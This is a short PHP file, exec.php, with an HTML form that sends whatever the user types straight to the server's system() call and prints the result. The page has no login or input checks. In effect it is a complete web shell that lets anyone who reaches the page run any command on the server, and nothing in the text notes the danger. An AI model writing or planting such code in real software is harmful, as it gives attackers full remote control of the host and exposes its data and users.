execute system command from web interface

exec.php

<?php
if($_POST['exec'] == 'exec'){
  $r = system($_POST['command'], $l);
  
  // debug
  print($r);
  print('<hr/>');
  print($l);
  print('<hr/>');
}
?>

<form method="POST">
  <input type="text" name="command" style="width:500px" />
  <br />
  <input type="submit" name="exec" value="exec"/>
</form>